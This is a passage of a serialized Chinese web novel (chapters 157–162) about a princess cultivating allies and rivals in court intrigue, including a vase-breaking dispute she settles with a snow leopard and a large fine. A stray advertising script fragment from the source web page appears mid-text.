众人顿时目瞪口呆，视线齐刷刷钉在那本鲜红的小册子上。
“什么？！”
“对啊，若你输了，我就只能嫁给他了。”
“！！！”
见董向阜走来，齐行遥一个箭步挡在明珠身前，警惕地看向对方。
“既然你赢了，赌注自然我来付。”董向阜坦然道。
他亲自将那把龙吟偃月刀递给齐行遥，大刀上的缠布被取下，不愧是齐铭将军的爱刀，通身绯红，护手处赤金，刀口圆若半弦月，刀背刻有出云龙纹，威武不凡。
“这把刀，是你的了。”
齐行遥接过那杆大刀，径直来到明珠面前，单膝跪地。
她清楚，此番若无长公主殿下相助，恐怕她这辈子再无机会拿回宝刀，更不会在董老将军与众人面前崭露头角。
“行遥深感殿下恩德，无以为报，唯有此生偿还。”
“那你答应我一件事可好？”
“殿下请讲，行遥必将遵从。”
“我想叫你阿遥。”
齐行遥一愣，面前之人朝自己伸出手，比起自己那双粗糙狰狞的手，眼前这只手白皙又细嫩。
她天生力气大些，性子又闷，不擅长与其他女子交往，更没有如此亲密的接触，生怕弄疼对方，齐行遥小心翼翼地搭上，被对方引导着起身。
“阿遥，从今以后有我在，我会让整个大梁见证你的存在。”
158.欢迎来到权力场
离比试已经过去了一月有余，关于齐行遥和董向阜的对决，京城中物议如沸，而其中讨论最多的，莫过于龙吟刀法的再现。
人们未尝不可惜，齐行遥明明身怀绝技，却难以施展，作为齐铭将军的后人，合该由她来继任，既然说到这里，就免不了对现任齐侯唾弃一番。
从前只说齐家无可指望，可现如今出了个齐行遥，虽为女流，但到底继承了齐铭将军遗志，比那些无能之辈不知强上多少，宫里那些对齐二早就看不过眼的文臣纷纷上书，罢免齐宗爵位，为齐行遥请封。
年关前，齐行遥册封为建安郡主的旨意便传入府中，并命其年后赶赴南海，平定当地海患，齐家四房的人诚惶诚恐地接了旨，脸上忧喜参半。
此事京中人尽皆知，齐家其他房的妯娌自然不肯放过。
宫里的宣旨太监刚走，二房和三房的人就结伴而来，拉着吴氏亲热寒暄，这些人平素里从不正眼瞧她，眼下姐姐妹妹的喊着。
“哟，妹妹，你们四房还真是闷声做大事的性子，跟你们家行遥一样，这进宫一趟，旁的姐妹拿了赏赐，偏行遥没有，这我们都心疼那孩子呢，谁知道行遥是不稀罕那等劳什子赏物，这一眨眼，都成郡主了！”
吴氏客气道，“孩子大了，有自己的主意，我们也是刚得知。”
“还是你家行遥有出息，不像我们这几家的女儿，到现在还没个定数，这家里姐妹多，我时常跟她们说跟你们家行遥多亲近，别成日就会在家玩闹。”
“欸，行遥呢，我们这做伯母的来也不见，别是当了郡主，不认我们这些亲人了吧。”
对方这话装着玩笑，实则刻薄，吴氏笑了笑。
“姐姐哪儿的话，行遥接了旨就去拜见长公主殿下了，这次若不是长公主殿下，我们家行遥哪儿有那么大的福气，那孩子心实，谁对她好，她心里有数，自然会想方设法回报。”
闻言，在场诸人彼此递着眼色，各怀鬼胎。
长公主府中。
此刻，齐行遥如坐针毡。
受封的旨意一到，她头一个想到的，就是将好消息告知长公主殿下，谁知她来得太早，侍女说殿下还未起，让她稍等片刻。
桌上的茶点齐行遥一动未动，心中懊悔，本来这只是自己的事，却无端端吵醒殿下，实在不该。
“阿遥，你醒的好早。”明珠打着哈欠进门，“是不是授封的旨意到了？”
自那天起，齐行遥封郡主之事，已是板上钉钉，甚至都不用自己再插手干预。
只要将齐铭继人的名号放出去，自然有人为齐行遥说话，更何况，此事于齐家而言有利无害，宫里惠妃和李凌霄也会想方设法促成此事。
“回殿下，今早便到了。本想告知殿下，没想扰了您休息，还望殿下恕罪。”
“阿遥，跟我说话不用那么客气，这么端着多累。”
闻言，齐行遥点了点头，犹豫片刻，有些难为情地从怀中掏出一块方巾。
“此物，还给殿下。”
明珠打开后，发现里面包裹严严实实的，是一张干净的帕子。
那一日，她在湖畔给齐行遥的手帕。
“我还头一次见用手帕包手帕的。”明珠忍俊不禁道。
齐行遥埋下头，羞赧至极。
包起来，是她怕把殿下的帕子，再给弄脏了，如今看来，确实有些滑稽。
明珠喝了口茶，醒了醒神，问道，“旨意上还有说什么吗？”
“命我年后赶赴南海，平定当地海患。”
“南海……”明珠斟酌道，“那你要好好准备了，这可是你的第一仗，至关重要，若是胜了，今后的路就更好走了。”
话虽如此，南海平患却不是个简单的差事。
大梁南部与鹿丹国接壤，鹿丹多群岛，海上业务发达。南海地处两国之间，海盗猖獗，时常搅扰两国贸易往来，但因其熟悉岛屿分布，善海战，因此被派遣去的将领多半无功而返。
这些年，被海盗盯上的商船，都只能自认倒霉。
朝廷派齐行遥去，一来是看中她的名号，二来多半是有人从中作梗，将这份多年来未能实现的任务，交给一个没有领兵打仗经验，常年在京不熟悉海域的人，着实有些刁难的意味。
“阿遥，从现在起你要面对的，不仅是战场，还有人心，要对付的也不仅是敌人，还有那些潜伏在自己身边的黑手。
“这世上有些人会盼着你好，也有些人会想要了你的命，这与你是怎样的人无关，而和你做了什么、得到了什么有关。
“此一行注定不易，千万不可掉以轻心。”
“明白。”齐行遥慎重道，“殿下所言，行遥必当谨记于心。”
过去，齐行遥困于深闺，对世事不曾明达，她所能对待恶意的做法，就只是视而不见。
可将来她面对的，是真正的敌人，无论大梁或外族，都会有真心要她性命的人，就像当年的镇国公董齐川，就是死在了勾结外族的自己人手中。
这样的悲剧，明珠不希望再次上演。<
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思及此，明珠叮嘱道，“你回去后，要提防一个人。”
“什么人？”
“齐宗，齐家的齐侯。”
齐侯府中，齐慧雯和齐念雪两人瑟缩在桌后，丝毫不敢动唤，任凭父亲发狂泄愤。
床榻边，碗盏一个接一个被甩到地上，摔了粉碎，跪在地上奉茶送药的小厮脸上满是划痕血渍。
瓷片在耳边炸开，小厮抖若筛糠，可即便如此，他却连躲都不敢躲，若是此时躲了，下场只会更惨。
透过帷帐的缝隙，内里幽暗可怖，如同洞窟，依稀可见一双布满血丝的瞳孔，死死地瞪着外间这些人。
“说她是齐铭将军的继人，那我这个齐侯算什么？！”
看着疯癫无状的父亲，齐慧雯心中一片悲凉，一大早听说四房受封的旨意下来，母亲便巴巴跑过去打听，生怕齐行遥高她们一等后，夺了她在惠妃娘娘心中的位置。
齐慧雯才忽然意识到，齐府中的嫡女除了自己，还有齐行遥。
倘若齐行遥仗着齐铭后人的名号，在外立下战功，声名远扬，那么娶了她自然比娶了齐侯的女儿一劳永逸，尤其往日风光的齐侯，现如今就只是个瘫痪在床的——疯子。
“好啊，都看着吧，看那个丫头能翻出什么风浪来，以为偷学了祖上的刀法就了不得了吗，宫里宫外就拿她当个玩意儿了？！
“想踩在我头上耀武扬威，拿着齐家的招牌赚吆喝，做梦去吧——！有我在，她齐行遥休想有出头之日！！！”
谩骂声一声接着一声，好似要冲破这层院墙。
“齐侯？”
齐行遥的确不喜自己这位大伯，却从未设想过他会害自己。
从小到大，父亲总在她面前提起，过往的兄弟情谊，说祖父在世时，齐家人有多受世人敬仰，说他的胞妹齐婉，如今的惠妃娘娘，曾是名动京师的第一美人。
可无论父亲描绘的过往有多绮丽，也无法掩盖早已腐朽的现状，在齐行遥眼中，失去了这层虚影的齐家，才更面目可憎。
“殿下是否有意，除掉他。”
明珠一怔，没想到对方会问的如此直白。
自己原本想等齐行遥被扶植壮大，等放不下手中的权势时，自然而然就会舍弃这些累赘，届时齐家有枝可依，至少惠妃和李凌霄不会与自己鱼死网破。
明珠尚在斟酌，而眼前之人没有等她回答，来到她面前，单膝跪地，意味臣服，犹如一匹孤狼认主。
“殿下想要，我会去做。”
159.熊孩子又闯祸了
这句话的分量，唯有齐行遥自己清楚，与吴氏所告诫她的独善其身不同，倘若能走到长公主殿下身边，她心甘情愿。
可明珠却摇了摇头，将手搭在对方肩头，力道不重，却又足以回应。
“阿遥，我帮你，确有自己的私心。
“可我不想让你参与进这些事中，届时，我会想办法让你远离，你只需要当作不知情就好。”
一来，明珠不愿知晓内情的人增加，恒生变数，二来，她不愿齐行遥将来背负上大义灭亲的流言。
后世的评说中，不会有人讨论齐侯的罪恶行迹，因为他微不足道。
而齐行遥不同，她将来要做大梁第一位女将军，注定万众瞩目，明珠不希望在她成长的路上留下污点，让世人以为齐行遥是舍弃了宗族亲人，而为个人进阶铺路，以此抹去她自身的荣光。
“阿遥，我很珍惜你，你明白吗？”
齐行遥耳廓微红，抿着唇，微不可察地点了点头。
随着册封郡主之事落幕，京中尚且风平浪静了几日，府中也已修缮完毕，明珠便将伊丽莎白从宫中接了回来。
后院开阔，有几棵老树挺拔，其余换上草皮，还在岩石堆叠的山后挖了洞穴，伊丽莎白在草坯上跳跃翻滚，好不快活。
这一日，来人传报。
“殿下，苏府的漱玉姑娘来了。”
明珠眉梢一挑，她还以为景荷家那几位亲戚学乖了，谁知安生了一段时日，又闹出幺蛾子。
正如明珠所想，一进门，漱玉就开口告状。
“殿下，您先前送来的那盏琉璃花瓶，又被那家的孩子砸坏了！”
经漱玉说明，那家人原今日就要离京了，却不想临走前，熊孩子又捅个娄子，幸好漱玉未曾松懈，一直提防着，才叫对方得逞后被抓个正着。
“那花瓶您说过不叫声张，我带回去后只跟小姐说了，说是您私下给的，所以旁人不知与长公主殿下您有关。”
“做的不错。”明珠牵起伊丽莎白，笑道，“走吧，去收拾熊孩子。”
苏府外，备好的马车留滞在门口，东西装了过半，忙活装箱的小厮们却都停了手，呆呆地候在一旁。
不知内院发生了何事，夫人和小姐原本正送客，一听禀报，便火急火燎回了府。见状，苏二夫人也察觉有异，跟着也回去了，留下下人们面面相觑。
内院，苏景荷房中，磕了个豁口的琉璃瓶正摆在桌上。
“妙儿，这是你干的吗？”苏景荷气愤道。
苏妙儿瞧着围了满屋的人，齐刷刷盯着她，顿时慌了，往自己母亲身后躲。
“景荷，妙儿还小，何必如此咄咄逼人。”苏二夫人护犊子道，“再者说了，你把这么贵重的器物摆出来本就不合适，不好好收着，这磕了碰了也是寻常，我们妙儿不过就是多看了两眼，有了闪失也不能全怪我们妙儿啊。”
“那琉璃瓶在内室架子上放着，若不是她偷偷去拿，怎么会碎掉！”
“欸，景荷，你这说的就难听了，怎么说你妹妹是偷拿呢，亲妹子进亲姐姐房中哪能说是偷，我们苏家可没这样的规矩！”
“我——”
苏夫人本来顾念着亲戚间的情分，没有太过为难对方，只在苏景荷回家后安慰她宽心，现下对方当着面派女儿的不是，苏夫人也恼了。
“妹妹，我家景荷也是我心肝小宝，她的东西被妙儿一而再地损坏，生气也是情理之中吧。
“更何况，我女儿的房间她想摆什么就摆什么，是妙儿有错在先，跑到景荷房中乱动东西，怎么到了你口中却成了我女儿的错了？”
苏二夫人见说不过，便开始耍无赖。
“柳箐姐姐，都是自家亲戚，说什么你的我的，家里有什么好的，我不也第一个想着咱们景荷，这下好了，回去大家可都知道了，景荷为着一个花瓶要和她小妹妹撕破脸，哪儿还有大家闺秀的样子。”
眼看苏府人听到这话，纷纷变了脸色，苏二夫人的大女儿苏媚儿忙上前劝阻。
“母亲，您这是说的什么话，我景荷妹妹哪里是那样小气的人。”说着，苏媚儿牵起柳氏的手，柔声道，“大伯母，我母亲也是关心则乱，您别介意。”
俗话说伸手不打笑脸人，小辈来劝说，柳氏也不想在孩子们面前争执，显得大人不成体统，便将火气压下去几分。
苏媚儿扫了眼四周，问道，“方才是谁说看见三小姐砸了花瓶？”
闻言，苏景荷房中的小丫鬟站出来。
“奴婢和漱玉姐姐都瞧见了，我本来在我们小姐房中当值，三小姐进来说我们小姐叫我，我才出门，碰上漱玉姐姐，却说小姐不曾叫我。
“待我们回去，就看见三小姐在我们小姐房中，拿着琉璃瓶摆弄，瓶身上有个缺口，碎片就在花盆里丢着！”
小丫鬟将所见原原本本说出，仍心有余悸，若非漱玉姐姐留了个心眼，她可就犯了大错了，待三小姐走后，此事死无对证，她跳进黄河也洗不清了。
“你们亲眼所见，是三小姐砸的吗？”苏媚儿问道。
小丫鬟一愣，忙解释道，“房中只有三小姐一人，她又拿着
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那只琉璃花瓶，那花瓶今早还是好好的，三小姐拿过便碎了，难不成还能是别人？”
“这可说不准，依我看，就是你倒打一耙。”
苏媚儿笑着，眼底抹过一丝精光，她料到苏府不会为了一个小丫鬟，和老家的亲戚撕闹，弄得大家下不来台，便当机立断。
“你说，这之前是你在景荷房中当值，莫不是你损坏了器物，见我家小妹无意动过，就栽赃于她。”
小丫鬟哪见过恶人先告状的，扑通一声跪在地上，满脸惊愕委屈。
“二小姐血口喷人！若是我损坏的，便叫我不得好死！！”
“你这丫头才是含血喷人，你说你和漱玉都瞧见了，可现如今漱玉人呢？难不成只凭你一面之词，就要冤枉主人家小姐？”
“漱玉姐姐……”
小丫鬟慌张地看向四周，却没有找到漱玉的身影，一时间，六神无主。
见状，苏媚儿揽过柳氏的胳膊，指着跪在地上的小丫鬟，说道，“我看你这丫头就是扯谎！大伯母，此事定是这丫鬟做的，见妙儿是个不懂事的孩子，才栽到妙儿身上。”
苏景荷没想到，媚儿这个堂妹看上去柔柔弱弱，说话轻声细语，纵使二婶婶为人泼辣，但媚儿在自己府上，一贯是乖顺粘人的女儿家模样，背后竟这般厉害。
“我房中的人，定然不会做此下作之事！”苏景荷站出来，为自己的人说话，“此事若非三妹妹所为，临行在即，她说有东西落下，却又进到我房中做甚？”
此事是谁所为，昭然若揭，对方抵赖，不过是以为苏府顾念亲情，不会将此事翻到明面上，故而颠倒是非，试图遮掩过去。
若是一次，尚且当是孩子淘气，可三番两次如此，即便是苏景荷也不免恼火，今日之事，定要求个公道，否则岂不是要让无辜之人替罪。
见柳氏这边也不为所动，苏媚儿继续说道，“大伯母，妙儿可是怀安哥哥和景荷的亲妹子，怎么会做出这等偷鸡摸狗的肮脏事，这要是传扬出去，苏家还有什么脸面，我看这丫鬟就是居心叵测，想要抹黑我们苏家！”
见女儿递出话茬，苏二夫人也上前来，仿佛忘了方才如何死乞白赖抵赖，自顾自拉起柳氏的手，摆出一副好言相劝的模样。
“就是就是，我们这都要走了，何必给自己找不痛快，耽误了启程，回家老太爷要问，我们难道还能说是柳箐姐姐和景荷，为着府中一个丫鬟的栽赃，拦着自家亲人不让走吗？
“要不然，速速处置了这丫鬟，也不妨碍咱们两家今后往来，柳箐姐姐，你说是不是？”
160.青天大老爷
房门口，一个身影赫然出现，苏家下人们纷纷退后，为来人开路。
“殿下！”苏景荷惊喜道，“您怎么来了？”
“我不来，我们景荷受的委屈怎么办？”
明珠向苏夫人行过礼，转头看向对面母女三人时，险些被晃了眼，尤其那位贵妇人，满身珠光宝气，那两个姑娘也是华彩卓然，打扮比官家小姐还要尊贵体面。
想来家底殷实，赔得起。
一旁，苏二夫人竖起耳朵，听了半天，见来人竟是长公主殿下，原先那副蛮横面孔瞬间变了样，连忙拉着女儿们请安拜见。
“民妇拜见长公主殿下！今日得见长公主驾临，民妇和小女们不胜荣幸，殿下真乃天人之姿，正如明月皎皎……”
一溜彩虹屁拍来，明珠却不买对方的账。
“奉承话不必说了，我来是有正事。”她看向苏媚儿，问道，“方才这位姑娘说，要严刑拷打，查明真相？”
“长公主殿下有所不知，”苏媚儿面染委屈，恍若义正言辞，“是那丫头颠倒是非，污蔑我家小妹损毁宝物，小女才出此下策，并非有意刁难。”
“奴婢没有说谎！”
小丫鬟早已哭得面目全非，此刻也顾不上什么，只一心为自己清白。
“奴婢方才所言句句属实，就是三小姐将奴婢诓出去，趁机砸了琉璃花瓶，奴婢回来的时候她手就抱着花瓶！”
见此情形，漱玉也急忙走上近前，虽不知自己走后又发生了什么，但小丫鬟跪在地上，那家人还说是污蔑，便猜出几分，上前辩驳。
“奴婢也能作证！”漱玉大声道，“今日之事，乃是奴婢和她一同发现的，并非她一面之词，二小姐若是要屈打成招，便叫奴婢一起领受！”
“漱玉姐姐……”
小丫鬟见人回来，悬着的心落下一半，态度也坚定了几分。
“长公主殿下面前还不认罪，我看你们就是讨打！”苏二夫人恶狠狠地瞪了她们一眼，转头换了嘴脸，赔笑道，“殿下金尊玉贵，此等小事怎劳得殿下费心，再叫这些刁仆污了您的眼。”
明珠没理会，而是俯下身，看向躲在后面的苏妙儿。
这小孩子聪明得很，一双眼睛看着大人们争执，见自家人没落下风，办了坏事也不哭不闹。
“你跟我说，是你砸的花瓶吗？”明珠循循善诱道，“若是你砸的，叫你母亲赔付就好，不是什么大事。”
眼见有母亲和姐姐为自己撑腰，苏妙儿自觉理直气壮，手指向那个小丫鬟。
“不是我砸的，是那个丫鬟撒谎！”
“是嘛。”
那就由不得她了。
明珠拍手，身后有人牵着伊丽莎白过来，猛兽身形硕大，银白的身子和尾巴奇特异常，此刻装得凶狠，一张口，露出满嘴獠牙，众人纷纷退避三舍。
“我这小宠能辩真伪，谁说真话便无事发生。”明珠扫了眼一脸惊恐的苏妙儿，故意拉长了语调，“谁说假话——便会立刻咬断她的双手。”
雪豹乃珍兽，众人见识不得，故而话虽离谱，但异兽奇观，银面獠牙，又有长公主发话，人们也不敢全然不信。
被那双锐利的瞳仁紧盯，小丫鬟吓得腿肚子直打哆嗦，仍鼓起勇气为自己喊冤。
“奴婢没说谎，不是奴婢干的！”
而这只猛兽朝她嗅了嗅，便走开了，小丫鬟不由松了口气。
只见猛兽调转个头，又朝另一方走近，苏二夫人吓得脸都白了，苏媚儿更是躲得远远的，丝毫不敢靠前，伊丽莎白信步来到苏妙儿跟前，张开血盆大口。
“我、我……”
獠牙立在眼前，口水滴在裙摆上，仿佛下一刻自己就能被整个吞下，苏妙儿吓得魂不附体，将手缩在身后，嚎啕大哭起来。
“是我砸的——！”
原本，她只是想要景荷姐姐那套琉璃杯盏，谁知大伯母小气不给，往日她想要什么，家里没有不依的，却没想到今日不能如愿，她心中愤懑难平，便故意把东西砸了。
既然好看东西到不了她手中，那就没必要好看。
景荷姐姐是个软柿子，就算知道了是她砸坏的，也只会哭鼻子，不敢责怪她。
谁知过了些时日，景荷姐姐房中又多了一尊琉璃花瓶，比那套茶盏还漂亮，景荷姐姐小气，必然不会给她，房中的丫鬟看得又紧，她眼红了好一阵子。
终于，在临走前找到机会，怕动静太大惊动了人，她便用桌角磕了瓶身，砸出一个难看的洞，才心满意足地将瓶子放回，未免人发现，还将瓶子转了个个，让外面瞧不出来。
没想到，被人抓了个正着。
“呜呜呜，是我把花瓶弄坏了，我说的是真的，求求你别咬我的手——！”
闻言，明珠坐回上座，了然一笑，抬眸看向苏二夫人。
“既然承认了，那咱们就来算算这笔账。”
那对母女早就没了胆子，跪在地上求饶起来。
“求长公主殿下恕罪，都是小孩子家天性顽皮，不慎失手打坏了东西，求长公主殿下宽恕一二。”
“是啊是啊，景荷房中的丫鬟当着这么多人的面指责小妹，小
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妹胆子素来小，不敢承认也有情可原，若不是她们咄咄逼人，小孩子又怎会故意隐瞒。”
听她们这声声狡辩，明珠不禁发笑，事到临头，居然还在攀咬，这家人还真是能指责他人，绝不反省自己。
“其实这件事说大不大，说小也不小，你家孩子砸坏的，不是别的，那可是御赐之物。”明珠支起下巴，歪头道，“损毁御赐之物，要不要诛九族啊？”
“诛九族——？！”
苏媚儿眼看罪过如此严重，无法推脱，便想要丢车保帅。
“求殿下恕罪！此事都是小妹一人所为，我们也是被蒙蔽的啊，求殿下宽恕我们！！！”
而苏二夫人显然不忍心，瘫在地上，手拍着地面叫嚷。
“诶呀，殿下饶命啊，小女实在是无心之失，您千万开恩，无论多少钱我们都认，只求您开恩，饶我们一条性命啊——！！！”
砸了御赐之物，居然还妄想拿钱摆平，看来这类事以前不少发生。
“多少钱都认？”
“是、是！”
那就别怪她狮子大张口了，叫她们花钱买个教训，把孩子娇惯得如此恶劣，出了事，不仅包庇，还倒打一耙，拉无辜之人垫背。
“二十万两，我就当无事发生。”
“二十万——？！”
“怎么，嫌多？”
“民妇不敢、不敢……”
苏二夫人忙从怀中掏出钱引来，颤颤悠悠地填上二十万两，一笔一划，心都在滴血，眼下却也不得不为，签好后，颤抖着呈给明珠。
明珠看了钱引票据，上面各项填写齐全，便满意地冲她们摆了摆手。
“既然如此，就当你们知错能改，日后好好教养孩子，下一次可没这么便宜了。”
“民妇知罪，民妇谨遵长公主殿下教诲！”
苏二夫人不禁腹诽，那可是整整二十万两，就这么流水似的花出去，就这样，居然还说便宜她们了，可纵使心中哀怨，面上仍要千恩万谢。
“此事我替你们瞒下，倘若你们回去之后乱说，传到别人耳中，那这损毁御赐之物的罪名，可要你们自己担着了。”
“民妇不敢！回去之后一定闭口不言！”
事情得以了结，苏二夫人带着女儿们灰溜溜地走了，再没有之前的耀武扬威，也不知是不是怕明珠反悔，马车跑得格外快些。
苏景荷不安道，“殿下，那琉璃花瓶当真是御赐之物？”
“不是啊，”明珠摇头，笑道，“在北境地摊上淘的，走吧，今日我请客，请你好好吃一顿。”
161.我与狸奴不出门
转眼间，又到了一年年尾。
正是冷的节气，明珠缩在暖炉旁，夜幕降临，听着窗外寒风呼啸，两只毛茸茸趴在她的身边，比毯子还暖和。
那只名为塔拉的兔子，被喂养得圆滚滚，从远处看就是一坨灰白的绒花团，之前被伊丽莎白恐吓，瑟缩在笼子里不敢出来。
如今混得熟了，也不怕伊丽莎白，还会趁它睡觉时偷偷咬它的尾巴，奈何总被一扫而过，咕噜咕噜滚出老远。
在明珠身边时，伊丽莎白动作不敢用力，塔拉就更自在了，在那两只硕大的前爪前来回跳跃，故意用身子撞伊丽莎白的下巴，弄得伊丽莎白不耐烦，爪子一拂，把小家伙拍开。
没了碍事的小东西，伊丽莎白将头埋在明珠怀中，长舒一口气，任凭明珠揉着它的脑袋。
瞧了眼窗外的夜色，明珠摘下身旁的叶片，夹在书册中。
这本书是生辰时松芜送的，是一本志怪小说集，内容记载异境奇物、地理风貌、琐闻杂事、人物传说，包罗万象，可想作者生平精彩。
“菊若今日还不回来？”
在一旁烹梨汤的侍女，回道，“是。”
这都快一个月了，没到年终盘账的时候，醉仙楼最近这么忙吗？
自从上次郡主来过，菊若就有些不对劲了，不知她们私下谈的如何，虽说对方已不再上门纠缠，可从那之后，菊若总寻借口推脱不回家。
“算了，时候不早了，你去休息吧。”
“是。”
夜深寂静，待四下无人，窗外忽然发出一阵响动。
伏在身边的雪豹耳朵一动，瞳孔竖起，紧盯着那扇异动的窗。明珠也注意到了房外的动静，却不甚在意，伸手捋顺伊丽莎白的背脊，安抚着。
听这鬼鬼祟祟的声音，不用猜就是他。
“桑吉。”
闻声，响动停了，窗户被人从外掀开，探出一颗被风凌乱的脑袋。
“你怎么知道？”
“你没发现，你每次在我身边时，总是动静很大吗？”
桑吉挠了挠鼻尖，心虚地撇开视线。
“不进来吗，”明珠问道，“外面怪冷的。”
“不冷，戎狄冬天比这冷多了。”
“那你把窗户关上，我冷。”
没眼力见的家伙。
“噢。”桑吉泄气地合上窗户。
没过一会儿，这人又从门口走进来，回过身，不忘把门合得严丝合缝。
“我还是觉得有点冷。”桑吉不自然道。
明珠扫了他一眼，笑道，“矫情鬼。”
“……”
桑吉自己寻了个座垫，盘腿坐下。
兔子似乎是闻到了同族的气息，往桑吉身边凑近。桑吉拎起它，抱入怀中，也注意到了对面虎视眈眈的猛兽，他想起来，这只豹子就是当初坏自己事的家伙。
若不是它，他就不会被那么快发现，还能顺利用毒药挟制翟渠和大梁长公主，要知道他被发现后，被捆成草席卷送回戎狄，脸都丢尽了。
一想到这里，桑吉就看它不顺眼，故意挪动几步，离明珠近了些，果然，那豹子站起身，挡在他面前，不再跟刚才似的，在她身边黏黏糊糊。
明珠瞧着这一人一兽，无奈地摇了摇头。
“这些时日，你都去哪儿了？”
听府里人说，桑吉房中总不见人，中午不知从哪儿窜出来，在府里吃完饭就溜了，夜里房中也不掌灯，他又没什么正经差事，成日昼伏夜出，很难让人安心。
“你出门又不带我，管我去哪儿。”
明珠嗤笑一声，怎么还闹脾气了。
“你是去跟踪松芜了吧。”
“？！”
桑吉这次才当真诧异，他在外人面前从来藏得隐蔽，应该不会轻易暴露才是。
“你怎么知道的，他发现我了？”
“我猜的。”明珠拿起钳子翻了翻炭火，说道，“就你这睚眦必报的性子，他上次算计了你，你自然会想法子报复回来。”
“怕我害他？”
明珠叹了口气，说道，“我劝你，别去招惹他。”
桑吉未必能在松芜手中讨什么好，到时候谁吃亏还不一定。
“上次我已经提醒过松芜了，不要太欺负人，你要是还生气，我替他给你赔个不是，你大人有大量。”
“……才不用你。”桑吉别扭道。
炉子的炭火烧得通红，小锅中熬煮着冰糖秋梨，正咕嘟咕嘟冒热气，四周散发着梨的清香。
桑吉拱了拱鼻子，身上的冷意被驱散了几分。
在寒风冷冽的夜里，这里就像草原上的毡房，有篝火、有热茶，还有亲近的人。他虽然从未得到过安宁，可孤独的夜里，听着部落里传来的欢笑，年少的他也曾幻想过温馨。
“要喝梨汤吗，暖暖身子。”
“……”
桑吉局促着，半天说不出来个“好”字，他想接受，却又不知该如何接受，只是一句回答，此刻却格外艰难。
低垂的脑袋微不可察地点了点，一碗梨汤就出现在他眼前，里面还有几瓣梨肉，他抬起头时，明珠已经开始盛她自己那碗了。
这时，门外响起脚步声，一个清瘦的身影立在门外。
“殿下。”
听清了声音，桑吉露出厌恶。
“进来吧。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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松芜推开房门，见里面还有一人，脸上的暖意瞬间熄了。
“今夜怎么回来了？”明珠问道。
比起其他人，松芜最早独立，一向与她避嫌，在外从不透露与长公主的关系，长公主府中留了他们几人的房间，他却没回来过。
松芜将斗篷取下，放在门口，不叫寒气带入内间，盘踞在明珠身旁的雪豹，见松芜过来，主动让出位置。
似是被风侵扰，松芜额前的发也有几分凌乱，不像桑吉那般毛糙，耳畔的发梢低垂着，流露出几分弱气，仿佛精心设计。
见此情形，桑吉不服，怎么这畜牲就拦他一个人？
松芜跪坐在明珠面前，说道，“有些事，想跟殿下私下商议。”
借口松芜早已找好，冷眼扫过桑吉，注意到那人手中端着和殿下一样的汤水，难怪他今夜心烦，真是什么阿猫阿狗都往殿下身边凑。
“外人在场，怕是不妥。”
听到这话，桑吉嗤笑一声，直言道，“想让我走？”
“别误会，倒也不是我不信桑吉小弟，”松芜浅笑道，“此事到底是大梁中事，外族不便插手，出于慎重，还望你避嫌。否则将来有人透露出什么，桑吉小弟岂非平白受人怀疑。”
“呵，你怀疑我。”桑吉挑衅道，“你又是什么好东西？”
松芜瞥了对方一眼，神色自如。
“看来，桑吉小弟是忘了我上次的话，我们同为殿下做事，各司其职，彼此有所隐秘也是正当，倒是你执意插手，在殿下身边这般没有规矩，叫殿下为难。
“依我看，殿下身边倒也不多桑吉小弟的位置，不如遣送出去，学会了规矩再回来。”
“你！”
桑吉被戳中痛处，不安地瞄了眼明珠，他不是真的想留下探听什么，只是那家伙说话句句带刺，就这么被打发出去，他忍不下这口气。
“咳。”
明珠轻咳一声，警告他们适可而止。松芜垂下眼眸，不再作声。
“夜深了，桑吉。”见对方有些失落，明珠补充道，“明天带你出去，今夜你早些休息。”
“真的？”
“不骗你。”
桑吉得意地瞥了眼松芜，对方却面无波澜，连一个眼神都懒得给，他哪里知道松芜压根就没什么正事，只想寻个由头把他打发走，他自己反倒喜滋滋地出去了。
待人离开，松芜得偿所愿，自然地凑上前。
“殿下就宠着他吧。”
口吻哀怨，颇有些只闻新人笑，不闻旧人哭的凄楚。
明珠一眼看破他的心思，挑眉道，“我可都按你的意思，把人撵走了，怎么还不高兴？”
162.故人来京
自从松芜进门，就提及没几句正事，光顾着与桑吉唇枪舌剑，明珠就知道，他要说的事不打紧，不过想找个缘由撒娇。
既然目的达到，也该说正事了。
“有个人的处置，想先问过殿下。”
“谁？”
“大理寺少卿，曲昶。”
上次，曲昶从王藏口中得知，陈一言的老家在邰庄，便带人暗访，可那里早已人去楼空，曲昶扑了个空，无功而返。
松芜派人跟着，得知此消息，心道留下王藏此人终究坏事，他虽不知梅辛与曲昶究竟是何恩怨，愿意出手相帮王藏，但若真是事到临头，他定然不会白白送梅辛这个人情。
陈一言那个儿子陈良辛，如今也不知去向，曲昶买通了邻里，说这家若是有人回来或是拜访，传信通知他。
不过，即便陈家儿子被曲昶找到，也不足为惧。
陈一言当初为避免将儿子卷进是非，从未将其真实身份和盘托出，也没有在儿子面前提及自己化名在赌馆做事，只说是在酒楼帮工。
因此，陈家儿子并不知晓其中内情，恐怕连他爹是个退隐已久的江洋大盗也毫不知情，毕竟陈家家中实在简薄，若非心细识货，又怎能看出灶台上积灰的碗，其实是古董宝贝。
曲昶那边线索断了，这几个月来毫无进展，大理寺不止这一桩案子，哪里容得下他胡闹。更何况，此案本就牵涉皆为权贵，难以裁决，又有松芜从中作梗，皇上早已示意揭过。
寻求真相，反而是费力不讨好。
“此人有些难缠，若遇紧急，能否除掉他。”
闻言，明珠陷入沉思。
她清楚，松芜行事狠绝，比自己干脆利落，又恪守她的底线，不越界，她在九方赌馆立下的规矩，松芜向来谨遵，所以他在外做事，明珠并不过问太多。
眼下，松芜特地向她征求意见，那说明这个人不算是个坏人，只能说是敌人。
若是过去，她或许难以抉择，现在，不会。
“事急从权。”明珠正视着松芜，说道，“倘若此人的性命和你的性命，只能选其一，我必定选你。”
松芜唇角勾起，笑道，“属下明白了。”
放在以前，处理起这些事，殿下最大的问题在于心软，涉及生死，总会有所保留，忍不住去保全所有人，无论是敌是友。
可斗争，就是要毫无保留地去搏，搏自己的生机，搏他人的死穴，明争暗斗，你死我活，优柔寡断乃是大忌。
殿下如今，真的不一样了。
直到临走前，松芜脸上的笑意都未消退。
而明珠并不知道松芜内心所想，只觉得他格外高兴，喜悦溢于言表。
可这不是很正常吗，比起一个陌生人，她当然优先考虑松芜的安危，只不过说了句话，就叫他这般喜形于色，看来以后还是对他好一点。
次日，一觉醒来。
明珠推开门，就见一个脑袋瓜蹲在门口。
“怎么蹲在这里，怕我不带你偷偷出门呀。”
“啊……阿嚏！”
回答明珠的是个大大的喷嚏，后座力十足，令桑吉一屁股跌坐在地上。
“着凉了？”明珠皱眉道，“你在这里等多久了？”
